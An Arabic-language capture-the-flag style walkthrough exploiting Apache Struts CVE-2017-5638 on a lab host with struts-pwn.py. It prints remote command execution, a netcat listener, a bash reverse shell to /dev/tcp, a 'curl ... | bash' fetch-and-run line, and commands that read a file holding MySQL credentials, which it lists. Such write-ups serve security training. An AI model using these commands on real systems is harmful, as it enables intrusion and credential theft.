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# Apache Struts
## استغلال Apache Struts (CVE-2017-5638)
#### **مراقبة تعداد الأدلة**
أثناء التسجيل، يعرض التطبيق خطأً. ال `.action` الامتداد يشير إلى تطبيق Apache Struts.
{% embed url="" %}
استخدم `struts-pwn.py` لاختبار تنفيذ الأوامر عن بُعد:
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```
يعمل الأمر، مما يؤكد وجود الثغرة.
#### **شل عكسي**
1. إعداد مستمع Netcat:
```bash
nc -nvlp 443
```
2. أنشئ `index.html` ملف يحتوي على الشل العكسي:
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```
3. استضف الملف باستخدام خادم ويب بايثون:
```
python3 -m http.server 8080
```
4. نفّذ الشل العكسي عبر الاستغلال:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```
{% endcode %}
للأسف، هذا الأسلوب يفشل.
### **استخراج المعلومات الحساسة**
سرد الملفات على الخادم:
الـ `db_connect` يحتوي الملف على بيانات اعتماد:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```
{% endcode %}
بيانات اعتماد MySQL المسترجعة:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```
{% endcode %}
* المستخدم: ssn/\_admin / admin
* كلمة المرور=AWs64\@on/\*& / admin
### استخراج المعلومات - mysqlshow
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